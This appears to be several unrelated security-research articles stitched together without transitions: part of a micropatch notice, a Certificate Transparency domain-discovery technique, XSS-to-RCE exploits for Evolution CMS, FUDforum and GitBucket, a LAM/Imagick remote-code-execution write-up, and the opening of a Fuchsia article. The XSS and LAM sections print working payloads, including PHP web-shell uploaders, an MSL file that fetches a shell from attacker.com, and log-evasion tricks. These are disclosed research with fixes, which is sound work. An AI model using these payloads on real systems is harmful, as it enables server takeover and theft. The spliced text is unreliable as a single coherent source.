While this vulnerability has no official vendor patch and could be considered a "0day", Microsoft seems determined not to fix relaying issues such as this one; therefore, this micropatch is not provided in the FREE plan but requires a PRO or Enterprise license.

The micropatch was written for the following Versions of Windows with all available Windows Updates installed: 

1. Windows 10 v21H2
   
2. Windows 10 v21H1
   
3. Windows 10 v20H2
   
4. Windows 10 v2004
5. Windows 10 v1909
6. Windows 10 v1903
7. Windows 10 v1809
8. Windows 10 v1803
9. Windows 7 (no ESU, ESU year 1, ESU year 2)
   
10. Windows Server 2008 R2 (no ESU, ESU year 1, ESU year 2)
11. Windows Server 2012
12. Windows Server 2012 R2
13. Windows Server 2016
14. Windows Server 2019 
15. Windows Server 2022 

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

We'd like to thank James Forshaw and cube0x0 for sharing details about this vulnerability and sharing a tool, which allowed us to create a micropatch and protect our users. We also encourage security researchers to privately share their analyses with us for micropatching.

Many modern websites employ an automatic issuance and renewal of TLS certificates. For enterprises, there are DigiCert services. For everyone else, there are free services such as Let’s Encrypt and ZeroSSL.

There is a flaw in a way that deployment of TLS certificates might be set up. It allows anyone to discover all domain names used by the same server. Sometimes, even when there is no HTTPS there!

In this article, I describe a new technique for discovering domain names. Afterward, I show how to use it in threat intelligence, penetration testing, and bug bounty.

Quick Overview

Certificate Transparency (CT) is an Internet security standard for monitoring and auditing the issuance of TLS certificates. It creates a system of public logs that seek to record all certificates issued by publicly trusted certificate authorities (CAs).

To search through CT logs, Crt.sh or Censys services are usually used. Censys also adds certificates from the scan results to the database.

It’s already known that by looking through CT logs it’s possible to discover obscure subdomains or to discover brand-new domains with CMS installation scripts available.

There is much more to it. Sometimes the following or equivalent configuration is set up on the server:

# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"

This configuration means that certificates for all the server’s domains are renewed at the same time. Therefore, we can discover all these domains by a time-correlation attack on certificate transparency!

Let’s see how it can be applied in practice!

A Real Case Scenario. Let’s Encrypt

A month ago, I tried to download dnSpy, and I discovered a malicious dnSpy website. I sent several abuse reports, and I was able to block it in just 2 hours:

Be aware, dnSpy .NET Debugger / Assembly Editor has been trojaned again!

In Google’s TOP 2, there was a malicious site maintained by threat actors, who also distributed infected CPU-Z, Notepad++, MinGW, and many more.

Thanks to NameSilo, the domain has been deactivated! pic.twitter.com/EdTlFjtN4B

— Arseniy Sharoglazov (@_mohemiv) July 8, 2022

I found quite a lot of information about the threat actors who created this website online. For example, there is an article in Bleeping Computer and detailed research from Colin Cowie.

In short, a person or a group of people create malicious websites mimicking legitimate ones. The websites distribute infected software, both commercial and open source. Affected software includes, but is not limited to Burp Suite, Minecraft, Tor Browser, dnSpy, OBS Studio, CPU-Z, Notepad++, MinGW, Cygwin, and XAMPP.

I wasn’t willing to put up with the fact that someone trojans cool open source projects like OBS Studio or MinGW, and I decided to take matters into my own hands.

Long Story Short

I sent more than 20 abuse reports, and I was able to shut down a lot of infrastructure of the threat actors:

It isn’t easy to confront these threat actors. They purchase domains on different registrars using different accounts. Next, they use an individual account for each domain on Cloudflare to proxy all traffic to the destination server. Finally, they wait for some time before putting malicious content on the site, or they hide it under long URLs.

Some of the domains controlled by the threat actors are known from Twitter: cpu-z[.]org, gpu-z[.]org, blackhattools[.]net, obsproject[.]app, notepadd[.]net, codenote[.]org, minecraftfree[.]net, minecraft-java[.]com, apachefriends[.]co, ...

The question is how to discover other domains of the threat actors. Other domains may have nothing in common, and each of them would refer to Cloudflare.

This is where our time-correlation attack on certificate transparency comes into play.

Take a look at one of the certificates to the domain cpu-z[.]net, used by the threat actors:

This certificate has the validity start field equal to 2022-07-23 13:59:54.

Now, let’s utilize the parsed.validity.start filter to find certificates issued a few seconds later:

Here it is! We just discovered a domain that wasn’t known before!

Let’s open a website on this domain:

This is exactly what we were looking for! Earlier I was able to disclose the real IP address of cpu-z[.]org. This IP address belonged to Hawk Host, and after my abuse report to them, all websites of the threat actors on Hawk Host started to show this exact page.

This proves that we discovered a domain managed by the same threat actors, and not just a random malicious domain.

A few pages later a domain blazefiles[.]net can be found. This domain was used to distribute infected Adobe products, and now it also shows the Hawk Host page.

There are much more domains of the threat actors that can be discovered by this technique. Thus, let’s just discuss why it works.

Why did the technique work?

The threat actors hosted their websites by software such as Plesk, cPanel, or CyberPanel. It was automatically issuing and renewing trusted certificates, and it was doing so simultaneously for all the websites.

If you try to search for the cpu-z[.]org domain in crt.sh, you’d see a bunch of certificates:

Since the threat actors used Cloudflare, none of these certificates were ever needed.

However, we were able to utilize these non-Cloudflare certificates in the time-correlation attack and discover unknown domains of the threat actors.

DigiCert and Other CAs

DigiCert services are used by large companies for the automatic issuance of TLS certificates.

The time in the validity field of DigiCert certificates is always set to 00:00:00. The same is true for some other CAs, for example, ZeroSSL.

But if we look at crt.sh, we can see that crt.sh IDs of certificates owned by the same company may be placed quite close to each other:

Therefore, when a CA doesn’t include the exact issuing time to certificates, the certificates issued close in time can be discovered by their positions in CT logs.

Additionally, you may find two types of certificates in the logs: precertificates and leaf certificates. If you have access to the leaf certificate, you can take a look at the signed certificate timestamp (SCT) filed in it:

The SCT field should always contain a timestamp, even when the time in the validity field is 00:00:00.

What’s Next

Probably, some kind of tooling or a service is needed to help with discovering domains by this technique.

The ways to correlate domains that may be utilized:

• Analyzing certificates with close timestamps in the issuance field
• Analyzing certificates with close timestamps in the SCT field
• Analyzing certificates that come close to each other in CT logs
• Analyzing time periods between known certificates
• Analyzing certificates issued after a round period of time from the known timestamps
• Getting an intersection for sets of certificates issued close in time regarding the known timestamps
• The same, but regarding positions in CT logs
• Grabbing CT logs in real time and timestamping the certificates on our own

Regarding mitigation, regularly inspect CT logs for your domains. You may discover not only domains affected by attacks on CT but also certificates issued by someone attacking your infrastructure.

Feel free to comment on this article on our Twitter. Follow @ptswarm or @_mohemiv so you don’t miss our future research and other publications.

Cross-Site Scripting (XSS) is one of the most commonly encountered attacks in web applications. If an attacker can inject a JavaScript code into the application output, this can lead not only to cookie theft, redirection or phishing, but also in some cases to a complete compromise of the system.

In this article I’ll show how to achieve a Remote Code Execution via XSS on the examples of Evolution CMS, FUDForum, and GitBucket.

Evolution CMS v3.1.8

Link: https://github.com/evolution-cms/evolution
CVE: Pending

Evolution CMS describes itself as the world’s fastest and the most customizable open source PHP CMS.

In Evolution CMS, I discovered an unescaped display of user-controlled data, which leads to the possibility of reflected XSS attacks:

I will give an example of a link with a payload.

https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E

If an administrator authorized in the system follows the link or clicks on it, then the javascript code will be executed in the administrator’s browser:

In the admin panel of Evolution CMS, in the file manager section, the administrator can upload files. The problem is that it cannot upload php files, however, it can edit existing ones.

We will give an example javascript code that will overwrite index.php file with phpinfo() function:

$.get('/manager/?a=31',function(d) {
  let p = $(d).contents().find('input[name=\"path\"]').val();
  $.ajax({
    url:'/manager/index.php',
    type:'POST',
    contentType:'application/x-www-form-urlencoded',
    data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'}
  );
});

It’s time to combine the payload and the javascript code described above, which, as an example, can be encoded in Base64:

https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=eval(atob(%27JC5nZXQoJy9tYW5hZ2VyLz9hPTMxJyxmdW5jdGlvbihkKXtsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPSJwYXRoIl0nKS52YWwoKTskLmFqYXgoe3VybDonL21hbmFnZXIvaW5kZXgucGhwJyx0eXBlOidQT1NUJyxjb250ZW50VHlwZTonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyxkYXRhOidhPTMxJm1vZGU9c2F2ZSZwYXRoPScrcCsnL2luZGV4LnBocCZjb250ZW50PTw/cGhwIHBocGluZm8oKTsgPz4nfSk7fSk7%27))%3E

In case of a successful attack on an administrator authorized in the system, the index.php file will be overwritten with the code that the attacker placed in the payload. In this case, this is a call of phpinfo() function:

FUDforum v3.1.1

Link: https://github.com/fudforum/FUDforum
CVE: Pending

FUDforum is a super fast and scalable discussion forum. It is highly customizable and supports unlimited members, forums, posts, topics, polls, and attachments.

In a FUDforum, I found unescaped display of user-controlled data in the name of an attachment in a private message or forum topic, which allows to perform a stored XSS attack. Attach and upload a file with the name: <img src=1 onerror=alert()>.png . After downloading this file, the javascript code will be executed in the browser:

The FUDforum admin panel has a file manager that allows you to upload files to the server, including files with the php extension.

An attacker can use stored XSS to upload a php file that can execute any command on the server.

There is already a public exploit for the FUDforum, which, using a javascript code, uploads a php file on behalf of the administrator:

const action = '/adm/admbrowse.php';

function uploadShellWithCSRFToken(csrf) {
  let cur = '/var/www/html/fudforum.loc';
  let boundary = "-----------------------------347796892242263418523552968210";
  let contentType = "application/x-php";
  let fileName = 'shell.php';
  let fileData = "<?=`$_GET[cmd]`?>";
  let xhr = new XMLHttpRequest();
  xhr.open('POST', action, true);
  xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=" + boundary);
  let body = "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="cur"\r\n\r\n';
  body += cur + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="SQ"\r\n\r\n';
  body += csrf + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="fname"; filename="' + fileName + '"\r\n';
  body += "Content-Type: " + contentType + "\r\n\r\n";
  body += fileData + "\r\n\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="tmp_f_val"\r\n\r\n';
  body += "1" + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="d_name"\r\n\r\n';
  body += fileName + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="file_upload"\r\n\r\n';
  body += "Upload File" + '\r\n';
  body += "--" + boundary + "--";
  xhr.send(body);
}
let req = new XMLHttpRequest();
req.onreadystatechange = function() {
  if (req.readyState == 4 && req.status == 200) {
    let response = req.response;
    uploadShellWithCSRFToken(response.querySelector('input[name=SQ]').value);
  }
}
req.open("GET", action, true);
req.responseType = "document";
req.send();

Now an attacker can write a private message to himself and attach the mentioned exploit as a file. After the message has been sent to itself, needs to get the path to the hosted javascript exploit on the server:

index.php?t=getfile&id=7&private=1

The next step is to prepare the javascript payload that will be executed via a stored XSS attack. The essence of the payload is to get an early placed exploit and run it:

$.get('index.php?t=getfile&id=7&&private=1',function(d){eval(d)})

It remains to put everything together to form the full name of the attached file in private messages. We will encode the assembled javascript payload in Base64:

<img src=1 onerror=eval(atob('JC5nZXQoJ2luZGV4LnBocD90PWdldGZpbGUmaWQ9NyYmcHJpdmF0ZT0xJyxmdW5jdGlvbihkKXtldmFsKGQpfSk='))>.png

After the administrator reads the private message sent by the attacker with the attached file, a file named shell.php will be created on the server on behalf of the administrator, which will allow the attacker to execute arbitrary commands on the server:

GitBucket v4.37.1

Link: https://github.com/gitbucket/gitbucket
CVE: Pending

GitBucket is a Git platform powered by Scala with easy installation, high extensibility, and GitHub API compatibility.

In GitBucket, I found unescaped display of user-controlled issue name on the home page and attacker’s profile page (/hacker?tab=activity), which leads to a stored XSS:

Having a stored XSS attack, can try to exploit it in order to execute code on the server. The admin panel has tools for performing SQL queries – Database viewer.

GitBucket use H2 Database Engine by default. For this database, there is a publicly available exploit to achieve a Remote Code Execution.

So, all an attacker needs to do is create a PoC code based on this exploit, upload it to the repository and and use it during an attack:

var url = "/admin/dbviewer/_query";
$.post(url, {query: 'CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");return s.hasNext() ? s.next() : ""; }$$;'
})
.done(function(data) {$.post(url, {query: "CALL EXECVE('touch HACKED')"})})

Now it remains to create a new issue or rename the old one and perform a stored XSS attack with an early exploit loaded:

Issue 1"><script src="/hacker/Repo1/raw/f85ebe5d6b979ca69411fa84749edead3eec8de0/exploit.js"></script>

When the administrator visits the attacker’s profile page or the main page, an exploit will be executed on his behalf and a HACKED file will be created on the server:

Conclusions

We have demonstrated that a low-skilled attacker can easily achieve a remote code execution via any XSS attack in multiple open-source applications.

Information about all found vulnerabilities was reported to maintainers. Fixes are available in the official  repositories:

• Evolution
• FUDforum
• Gitbucket

If you have something to add, please share your opinion on our Twitter.

During an internal penetration test, I discovered an unauthenticated Arbitrary Object Instantiation vulnerability in LAM (LDAP Account Manager), a PHP application.

PHP’s Arbitrary Object Instantiation is a flaw in which an attacker can create arbitrary objects. This flaw can come in all shapes and sizes. In my case, the vulnerable code could have been shortened to one simple construction:

new $_GET['a']($_GET['b']);

That’s it. There was nothing else there, and I had zero custom classes to give me a code execution or a file upload. In this article, I explain how I was able to get a Remote Code Execution via this construction.

Discovering LDAP Account Manager

In the beginning of our internal penetration test I scanned the network for 636/tcp port (ssl/ldap), and I discovered an LDAP service:

$ nmap 10.0.0.1 -p80,443,389,636 -sC -sV -Pn -n
Nmap scan report for 10.0.0.1
Host is up (0.005s latency).

PORT STATE SERVICE VERSION
369/tcp closed ldap
443/tcp open ssl/http Apache/2.4.25 (Debian)
636/tcp open ssl/ldap OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=*.company.com
| Subject Alternative Name: DNS:*.company.com, DNS:company.com
| Not valid before: 2022-01-01T00:00:00
|_Not valid after: 2024-01-01T23:59:59
|_ssl-date: TLS randomness does not represent time

I tried to access this LDAP service via an anonymous session, but it failed:

$ ldapsearch -H ldaps://10.0.0.1:636/ -x -s base -b '' "(objectClass=*)" "*" +
ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)

However, after I put the line “10.0.0.1 company.com” to my /etc/hosts file, I was able to connect to this LDAP and extract all publicly available data. This meant the server had a TLS SNI check, and I was able to bypass it using a hostname from the server’s certificate.

The domain “company.com” wasn’t the right domain name of the server, but it worked.

$ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
configContext: cn=config
namingContexts: dc=linux,dc=company,dc=com
…

$ ldapsearch -H ldaps://company.com:636/ -x -s sub -b 'dc=linux,dc=company,dc=com' "(objectClass=*)" "*" +
…
objectClass: person
objectClass: ldapPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAuZwGKsvsKlXhscOsIMUrwtFvoEgl
…

After extracting information, I discovered that almost every user record in the LDAP had the sshPublicKey property, containing the users’ SSH public keys. So, gaining access to this server would mean gaining access to the entire Linux infrastructure of this customer.

Since I wasn’t aware of any vulnerabilities in OpenLDAP, I decided to brute force the Apache server on port 443/tcp for any files and directories. There was only one directory:

[12:00:00] 301 -   344B   ->  /lam => https://10.0.0.1/lam/

And this is how I found the LAM system.

LDAP Account Manager

LDAP Account Manager (LAM) is a PHP web application for managing LDAP directories via a user-friendly web frontend. It’s one of the alternatives to FreeIPA.

I encountered the LAM 5.5 system:

The default configuration of LAM allows any LDAP user to log in, but it might easily be changed to accept users from a specified administrative group only. Additional two-factor authentication, such as Yubico or TOTP, can be enforced as well.

The source code of LAM could be downloaded from its official GitHub page. LAM 5.5 was released in September 2016. The codebase of LAM 5.5 is quite poor compared to its newer versions, and this gave me some challenges.

In contrast to many web applications, LAM is not intended to be installed manually to a web server. LAM is included in Debian repositories and is usually installed from there or from deb/rpm packages. In such a setup, there should be no misconfigurations and no other software on the server.

Analyzing LDAP Account Manager

LAM 5.5 has a few scripts available for unauthenticated users.

I found an LDAP Injection, which was useless since the data were being injected into an anonymous LDAP session, and an Arbitrary Object Instantiation.

/lam/templates/help.php:

if (isset($_GET['module']) && !($_GET['module'] == 'main') && !($_GET['module'] == '')) {
    include_once(__DIR__ . "/../lib/modules.inc");
    if (isset($_GET['scope'])) {
        $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber'],$_GET['scope']);
    }
    else {
        $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber']);
    }
…

/lib/modules.inc:

function getHelp($module,$helpID,$scope='') {
    …
    $moduleObject = moduleCache::getModule($module, $scope);
    …

/lam/lib/account.inc:

public static function getModule($name, $scope) {
    …
    self::$cache[$name . ':' . $scope] = new $name($scope);
    …

Here, the value of $_GET['module'] gets to $name, and the value of $_GET['scope'] gets to $scope. After this, the construction new $name($scope) is executed.

So, whether I would access the entire Linux infrastructure of this customer has come to whether I will be able to exploit this construction to a Remote Code Execution or not.

Exploiting “new $a($b)” via Custom Classes or Autoloading

In the construction new $a($b), the variable $a stands for the class name that the object will be created for, and the variable $b stands for the first argument that will be passed to the object’s constructor.

If $a and $b come from GET/POST, they can be strings or string arrays. If they come from JSON or elsewhere, they might have other types, such as object or boolean.

Let’s consider the following example:

class App {
    function __construct ($cmd) {
        system($cmd);
    }
}

# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
    function App2 ($cmd) {
        system($cmd);
    }
}

# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

In this code, you can set  $a  to  App  or  App2  and  $b  to  uname -a. After this, the command  uname -a  will be executed.

When there are no such exploitable classes in your application, or you have the class needed in a separate file that isn’t included by the vulnerable code, you may take a look at autoloading functions.

Autoloading functions are set by registering callbacks via spl_autoload_register or by defining __autoload. They are called when an instance of an unknown class is trying to be created.

# An example of an autoloading function
spl_autoload_register(function ($class_name) {
        include './../classes/' . $class_name . '.php';
});

# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
        include $class_name . '.php';
};

# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();

Depending on the PHP version, and the code in the autoloading functions, some ways to get a Remote Code Execution via autoloading might exist.

In LAM 5.5, I wasn’t able to find any useful custom class, and I didn’t have autoloading either.

Exploiting “new $a($b)” via Built-In Classes

When you don’t have custom classes and autoloading, you can rely on built-in PHP classes only.

There are from 100 to 200 built-in PHP classes. The number of them depends on the PHP version and the extensions installed. All of built-in classes can be listed via the get_declared_classes function, together with the custom classes:

var_dump(get_declared_classes());

Classes with useful constructors can be found via the reflection API.

If you control multiple constructor parameters and can call arbitrary methods afterwards, there are many ways to get a Remote Code Execution. But if you can pass only one parameter and don’t have any calls to the created object, there is almost nothing.

I know of only three ways to get something from new $a($b).

Exploiting SSRF + Phar deserialization

The SplFileObject class implements a constructor that allows connection to any local or remote URL:

new SplFileObject('http://attacker.com/');

This allows SSRF. Additionally, SSRFs in PHP < 8.0 could be turned into deserializations via techniques with the Phar protocol.

I didn’t need SSRF because I had access to the local network. And, I wasn’t able to find any POP-chain in LAM 5.5, so I didn’t even consider exploiting deserialization via Phar.

Exploiting PDOs

The PDO class has another interesting constructor:

new PDO("sqlite:/tmp/test.txt")

The PDO constructor accepts DSN strings, allowing us to connect to any local or remote database using installed database extensions. For example, the SQLite extension can create empty files.

When I tested this on my target server, I discovered that it didn’t have any PDO extensions. Neither SQLite, MySQL, ODBC, and so on.

SoapClient/SimpleXMLElement XXE

In PHP ≤ 5.3.22 and ≤ 5.4.12, the constructor of SoapClient was vulnerable to XXE. The constructor of SimpleXMLElement was vulnerable to XXE as well, but it required libxml2 < 2.9.

Discovering New Ways to Exploit “new $a($b)”

To discover new ways to exploit new $a($b), I decided to expand the surface of attack. I started with figuring out which PHP versions LAM 5.5 supports, as well as what PHP extensions it uses.

Since LAM is distributed via deb/rpm packages, it contains a configuration file with all its requirements and dependents:

Package: ldap-account-manager
Architecture: all
Depends: php5 (>= 5.4.26) | php (>= 21), php5-ldap | php-ldap, php5-gd | php-gd, php5-json | php-json , php5-imagick | php-imagick, apache2 | httpd, debconf (>= 0.2.26) | debconf-2.0, ${misc:Depends}
Recommends: php-apc
Suggests: ldap-server, php5-mcrypt, ldap-account-manager-lamdaemon, perl
...

Contents of the configuration file for deb packages (see on GitHub)

LAM 5.5 requires PHP ≥ 5.4.26, and LDAP, GD, JSON, and Imagick extensions.

Imagick is infamous for remote code execution vulnerabilities, such as ImageTragick and others. That’s where I decided to continue my research.

The Imagick Extension

The Imagick extension implements multiple classes, including the class Imagick. Its constructor has only one parameter, which can be a string or a string array:

I tested whether  Imagick::__construct  accepts remote schemes and can connect to my host via HTTP:

I discovered that the Imagick class exists on the target server, and executing  new Imagick(...) is enough to coerce the server to connect to my host. However, it wasn’t clear whether creating an Imagick instance is enough to trigger any vulnerabilities in ImageMagick.

I tried to send publicly available POCs to the server, but they all failed. After that, I decided to make it easy, and I asked for advice in one of the application security communities.

Luckily for me, Emil Lerner came to help. He said that if I could pass values such as “epsi:/local/path” or “msl:/local/path” to ImageMagick, it would use their scheme part, e.g., epsi or msl, to determine the file format.

Exploring the MSL Format

The most interesting ImageMagick format is MSL.

MSL stands for Magick Scripting Language. It’s a built-in ImageMagick language that facilitates the reading of images, performance of image processing tasks, and writing of results back to the filesystem.

I tested whether new Imagick(...) allows msl: scheme:

The MSL scheme worked on the latest versions of PHP, Imagick, and ImageMagick!

Unfortunately, URLs like msl:http://attacker.com/ aren’t supported, and I needed to upload files to the server to make msl: work.

In LAM, there are no scripts that allow unauthenticated uploads, and I didn’t think that a technique with PHP_SESSION_UPLOAD_PROGRESS would help because I needed a well-formed XML file for MSL.

Imagick’s Path Parsing

Imagick supports not only its own URL schemes but also PHP schemes (such as “php://”, “zlib://”, etc). I decided to find out how it works.

Here is what I discovered.

A null-byte still works

An Imagick argument is truncated by a null-byte, even when it contains a PHP scheme:

# No errors
$a = new Imagick("/tmp/positive.png\x00.jpg");

# No errors
$a = new Imagick("http://attacker.com/test\x00test");

Square brackets can be used to detect ImageMagick

ImageMagick is capable of reading options, e.g., an image’s size or frame numbers, from square brackets from the end of the file path:

# No errors
$a = new Imagick("/tmp/positive.png[10x10]");

# No errors
$a = new Imagick("/tmp/positive.png[10x10]\x00.jpg");

This might be used to determine whether you control input into the ImageMagick library.

“https://” goes to PHP, but “https:/” goes to curl

ImageMagick supports more than 100 different schemes.

Half of ImageMagick’s schemes are mapped to external programs. This mapping can be viewed using the convert -list delegate command:

By observing the convert -list delegate output, it’s possible to discover that both PHP and ImageMagick support HTTPS schemes.

Furthermore, passing the “https:/” string to new Imagick(...) bypasses PHP’s HTTPS client and invokes a curl process:

This also overcomes the TLS certificate check, because the -k flag is used. This flushes the server’s output to /tmp/*.dat file, which can be found by brute forcing /proc/[pid]/fd/[fd] filenames when the process is active.

I wasn’t able to receive a connection using the “https:/” scheme from the target server, probably because there was no curl.

PHP’s arrays can be used to enumerate files

When I discovered the curl technique with flushing the request data to /tmp/*.dat, and brute forcing /proc/[pid]/fd/[fd], I tested whether new Imagick('http://...') flushes data as well. It does!

I tested whether I could temporarily make an MSL content appear in /proc/[pid]/fd/[fd] of one of the Apache worker process, and access it subsequently from another one.

Since new Imagick(...) allows string arrays and stops processing entities after the first error, I was able to enumerate PIDs on the server and discover all PIDs of the Apache workers I can read file descriptors from:

I discovered that due to some hardening in Debian, I can access only the Apache worker process I execute code in and no others. However, this technique worked locally on my Arch Linux.

RCE #1: PHP Crash + Brute Force

After testing multiple ways to include a file from a file descriptor, I discovered that text:fd:30 and similar constructions case a worker process to crash on the remote web server:

This is what made it initially possible to upload a web shell!

The idea was to create multiple PHP temporary files with our content using multipart/form-data requests. According to the default max_file_uploads value, any client can send up to 20 files in a multipart request, which will be saved to /tmp/phpXXXXXX paths, where X ∈ [A-Za-z0-9]. These files will never be deleted if we cause the worker that creates them to crash.

If we send 20,000 such multipart requests containing 20 files each, it will result in the creation of 400,000 temporary files.

20,000 × 20 = 400,000
(26+26+10)⁶ / 400,000 = 142,000
P(A) = 1 – (1 – 400,000/(26+26+10)⁶)^142,000 ≈ 0.6321

So, in a 63.21% chance, after 142,000 tries we will be able to guess at least one temporary name and include our file with the MSL content.

Sending more than 20,000 initial requests wouldn’t speed up the process. Any request that causes a crash is quite slow and takes more than a second. What’s more, the creation of more than 400,000 files may create unexpected overhead on the filesystem.

Let’s construct this multipart request!

First, we need to create an image with a web shell, since MSL allows only images to work with:

convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png

Second, let’s create an MSL file that will copy this image from our HTTP server to a writable web directory. It wasn’t hard to find such a directory in configuration files of LAM.

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://attacker.com/positive.png" />
<write filename="/var/lib/ldap-account-manager/tmp/positive.php" />
</image>

And third, let’s put it all together in Burp Suite Intruder:

To make the attack smooth, I set the PHPSESSID cookie to prevent the creation of multiple session files (not to be confused with temporary upload files) and specified the direct IP of the server since it turned out that we had a balancer on 10.0.0.1 that was directing requests to different data centers.

Additionally, I enabled the denial-of-service mode in Burp Intruder to prevent descriptor exhaustion of Burp Suite, which might happen because of incorrect TCP handling on the server side.

After all 20,000 multipart requests were sent, I brute forced the /tmp/phpXXXXXX files via Burp Intruder:

There is nothing to see there; all the server responses stayed the same. However, after 120,000 tries, our web shell was uploaded!

After this, we got administrative access to OpenLDAP, and took control over all Linux servers of this customer with the maximum privileges!

RCE #2: VID Scheme

I tried to reproduce the technique with text:fd:30 locally, and I discovered that this construction no longer crashes ImageMagick. I went deep to ImageMagick sources to find a new crash, and I found something much better.

Here is my discovery.

Let’s look into the function ReadVIDImage, which is used for parsing VID schemes:

This function calls ExpandFilenames. The description of ExpandFilenames explains in details everything this function does.

The call of ExpandFilenames means that the VID scheme accepts masks, and constructs filepaths using them.

Therefore, by using the vid: scheme, we can include our temporary file with the MSL content without knowing its name:

After this, I discovered quite interesting caption: and info: schemes. The combination of both allows to eliminate an out-of-band connection, and create a web shell in one fell swoop:

This is how we were able to exploit this Arbitrary Object Instantiation in one request, and without any of the application’s classes!

The Final Payload

Here is the final payload for exploiting Arbitrary Object Instantiations:

Class Name: Imagick
Argument Value: vid:msl:/tmp/php*

-- Request Data --
Content-Type: multipart/form-data; boundary=ABC
Content-Length: ...
Connection: close
 
--ABC
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: text/plain
 
<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="caption:&lt;?php @eval(@$_REQUEST['a']); ?&gt;" />
 <!-- Relative paths such as info:./../../uploads/swarm.php can be used as well -->
 <write filename="info:/var/www/swarm.php" />
</image>
--ABC--

It should work on every system on which the Imagick extension is installed, and it can be used in deserializations if you find a suitable gadget.

When the PHP runtime is libapache2-mod-php, you can prevent logging of this request by uploading a web shell and crashing the process at the same time:

Argument Value: ["vid:msl:/tmp/php*", "text:fd:30"]

Since the construction text:fd:30 doesn’t work on the latest ImageMagick, here is another one:

Crash Construction: str_repeat("vid:", 400)

This one works on every ImageMagick below 7.1.0-40 (released on July 4, 2022).

In installations like Nginx + PHP-FPM, the request wouldn’t disappear from Nginx’s logs, but it should not be written to PHP-FPM logs.

Afterword

Our team would like to say thank you to Roland Gruber, the developer of LAM, for the quick response and the patch, and to all researchers who previously looked at ImageMagick and shared their findings.

Timeline:

• 16 June, 2022 — Reported to Roland Gruber
• 16 June, 2022 — Initial reply from Roland Gruber
• 27 June, 2022 — LAM 8.0 is released
• 27 June, 2022 — CVE-2022-31084, CVE-2022-31085, CVE-2022-31086, CVE-2022-31087, CVE-2022-31088 are issued
• 29 June, 2022 — LAM 8.0.1 is released, additional hardening has been done
• 05 July, 2022 — Debian packages are updated
• 14 July, 2022 — Public disclosure

Additionally, in case of exploitation of Arbitrary Object Instantiations with an injection to a constructor with two parameters, there is a public vector for this (in Russian). If you have three, four, or five parameters, you can use the SimpleXMLElement class and enable external entities.

Feel free to comment on this article on our Twitter. Follow @ptswarm or @_mohemiv so you don’t miss our future research and other publications.

Fuchsia is a general-purpose open-source operating system created by Google. It is based on the Zircon microkernel written in C++ and is currently under active development. The developers say that Fuchsia is designed with a focus on security, updatability, and performance. As a Linux kernel hacker, I decided to take a look at Fuchsia OS and assess it from the attacker’s point of view. This article describes my experiments.

Summary

• In the beginning of the article, I will give an overview of the Fuchsia operating system and its security architecture.
• Then I’ll show how to build Fuchsia from the source code and create a simple application to run on it.
• A closer look at the Zircon microkernel: I’ll describe the workflow of the Zircon kernel development and show how to debug it using GDB and QEMU.
• My exploit development experiments for the Zircon microkernel:
  • Fuzzing attempts,
  • Exploiting a memory corruption for a C++ object,
  • Kernel control-flow hijacking,
  • Planting a rootkit into Fuchsia OS.
• Finally, the exploit demo.

I followed the responsible disclosure process for the Fuchsia security issues discovered during this research.

What is Fuchsia OS

Fuchsia is a general-purpose open-source operating system. Google started the development of this OS around 2016. In December 2020 this project was opened for contributors from the public. In May 2021 Google officially released Fuchsia running on Nest Hub devices. The OS supports arm64 and x86-64. Fuchsia is under active development and looks alive, so I decided to do some security experiments on it.

Let’s look at the main concepts behind the Fuchsia design. This OS is developed for the ecosystem of connected devices: IoT, smartphones, PCs. That’s why Fuchsia developers pay special attention to security and updatability. As a result, Fuchsia OS has unusual security architecture.

First of all, Fuchsia has no concept of a user. Instead, it is capability-based. The kernel resources are exposed to applications as objects that require the corresponding capabilities. The main idea is that an application can’t interact with an object if it doesn’t have an explicitly granted capability. Moreover, software running on Fuchsia should receive the least capabilities to perform its job. So, I think, the concept of local privilege escalation (LPE) in Fuchsia would be different from that in GNU/Linux systems, where an attacker executes code as an unprivileged user and exploits some vulnerability to gain root privileges.

The second interesting aspect: Fuchsia is based on a microkernel. That has great influence on the security properties of this OS. Compared to the Linux kernel, plenty of functionality is moved out from the Zircon microkernel to userspace. That makes the kernel attack surface smaller. See the scheme from the Fuchsia documentation below, which shows that Zircon implements only a few services unlike monolithic OS kernels. However, Zircon does not strive for minimality: it has over 170 syscalls, vastly more than a typical microkernel does.

